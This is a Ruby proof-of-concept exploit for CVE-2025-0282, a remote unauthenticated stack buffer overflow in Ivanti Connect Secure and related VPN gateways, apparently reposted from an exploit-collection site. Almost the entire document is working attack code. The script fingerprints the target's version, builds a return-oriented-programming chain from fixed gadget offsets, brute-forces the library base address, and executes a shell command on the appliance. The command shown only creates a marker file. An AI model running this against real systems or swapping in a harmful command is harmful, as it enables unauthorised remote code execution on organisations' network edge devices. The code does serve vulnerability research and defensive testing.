Share
## https://sploitus.com/exploit?id=1337DAY-ID-39875
# PoC for CVE-2025-0282, a remote unauthenticated stack based buffer overflow affecting 
# Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA gateways.
#
# Based upon the exploitation strategy published by watchTowr (https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282).
#
# Usage: ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
#
# Stephen Fewer (Rapid7) - January 16, 2025.

require 'base64'
require 'socket'
require 'openssl'
require 'httparty'
require 'optparse'

HTTParty::Basement.default_options.update(verify: false)

def log(txt)
	$stdout.puts txt
end

def rand_string(len)
	(0...len).map {'a'.ord + rand(26)}.pack('C*')
end

def send_http_data(s, data, verbose=false)

	s.write(data)

	result = ''

  content_length = 0

	while line = s.gets
    p line if verbose

    m = line.match(/Content-length: (\d+)\r\n/)
    if m
      content_length = m[1].to_i
    end

		result << line

    if line == "\r\n" && content_length
      break if content_length <= 0

      content = s.read(content_length)

      p content if verbose

      result << content
      break
    end
	end

	return result
end

# https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6
def get_productversion(ip,port)
  res = HTTParty.get("https://#{ip}:#{port}/dana-na/auth/url_admin/welcome.cgi?type=inter")

  return nil unless res&.code == 200

  m = res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)

  return nil unless m&.length == 2

  m[1]
end

def hax(ip, port)

    log "[+] Targeting #{ip}:#{port}"

    productversion = get_productversion(ip, port)

    if productversion.nil?
      log "[-] Could not get product version for #{ip}:#{port}"
      return
    end

    log "[+] Detected version #{productversion}"

    # Note: All gadgets are from /home/lib/libdsplibs.so
    targets= {
      # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
      '22.7.2.3597' => {
        padding_to_vftable: 2288,
        vftable_gadget_offset: 0x00934365 + 2,
        padding_to_next_frame: 2934,
        offset_to_got_plt: 0x00157c000,
        gadget_inc_ebx_ret: 0x01338373,
        gadget_mov_eax_esp_retn_c: 0x00ca2e84,
        gadget_add_eax_8_ret: 0x007a040c,
        gadget_mov_esp_eax_call_system: 0x004f0df3,
      }
    }

    target = targets[productversion]

    throw "No target for #{productversion}" unless target

    log "[#{Time.now}] Starting..."

    attempt = 0

    0.upto(2048) do

      s = TCPSocket.open(ip, port)

      if port == 443
        ctx = OpenSSL::SSL::SSLContext.new

        ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE)

        s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket|
          socket.sync_close = true
          socket.connect
        end
      end

      body  = "GET / HTTP/1.1\r\n"
      body << "Host: #{ip}:#{port}\r\n"
      body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n"
      body << "Content-Type: EAP\r\n"
      body << "Upgrade: IF-T/TLS 1.0\r\n"
      body << "Content-Length: 0\r\n"
      body << "\r\n"

      res1 = send_http_data(s, body)

      unless res1.include? '101 Switching Protocols'
        throw "bad response1"
      end

      data = [0, 1, 2, 2].pack('C*') # min version 1, max version 2, preferred version 2.

      body = [
        0x00005597, # VENDOR_TCG
        0x00000001, # IFT_VERSION_REQUEST
        data.length + 16,
        0 # seq id
      ].pack('NNNN') + data

      s.write(body)

      attempt += 1

      libdsplibs_base = 0xf6492000

      buffer  = ('C' * target[:padding_to_vftable])
      buffer += [libdsplibs_base + target[:vftable_gadget_offset]].pack('V') # ptr to address + 0x48, to ptr, to gadget
      buffer += ('A' * target[:padding_to_next_frame])
      buffer += [libdsplibs_base + target[:offset_to_got_plt] - 1].pack('V') # ebx == got.plt - 1
      buffer += [0xCAFEBEEF].pack('V') # esi
      buffer += [0xCAFEBEEF].pack('V') # edi
      buffer += [0xCAFEBEEF].pack('V') # ebp
      buffer += [libdsplibs_base + target[:gadget_inc_ebx_ret]].pack('V') # inc ebx; ret;
      buffer += [libdsplibs_base + target[:gadget_mov_eax_esp_retn_c]].pack('V') # mov eax, esp; ret 0xc;
      buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
      buffer += [0xCAFEBEEF].pack('V')
      buffer += [0xCAFEBEEF].pack('V')
      buffer += [0xCAFEBEEF].pack('V')
      buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
      buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
      buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
      buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
      buffer += [libdsplibs_base + target[:gadget_mov_esp_eax_call_system]].pack('V') # mov [esp], eax; call system;
      buffer += [0xCAFEBEEF].pack('V')
      buffer += "touch /var/tmp/haxor_#{attempt}; #".gsub(' ', '${IFS}')

      ["\x00"].each do |bad_char|
        throw "buffer cannot have bad char #{bad_char.chr}" if buffer.include? bad_char
      end

      data = "clientHostName=abcdefgh clientIp=127.0.0.1 clientCapabilities=#{buffer}\n\x00"

      body = [
        0x00000a4c, # VENDOR_JUNIPER
        0x00000088, # ?
        data.length + 16,
        1 # seq id
      ].pack('NNNN') + data

      log "[#{Time.now}] Triggering ##{attempt}..."
      s.write(body)
    rescue Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::ECONNABORTED
      sleep(1)
      next
    end
end

target_ip = nil
target_port = 443

OptionParser.new do |opts|
  opts.banner = "Usage: CVE-2025-0282.rb [options]"

  opts.on("-t", "--taget=TARGET", "target IP") do |v|
    target_ip = v
  end

  opts.on("-p", "--port=PORT", "target port") do |v|
    target_port = v.to_i
  end
end.parse!

throw "set target IP via -t argument" unless target_ip

hax(target_ip, target_port)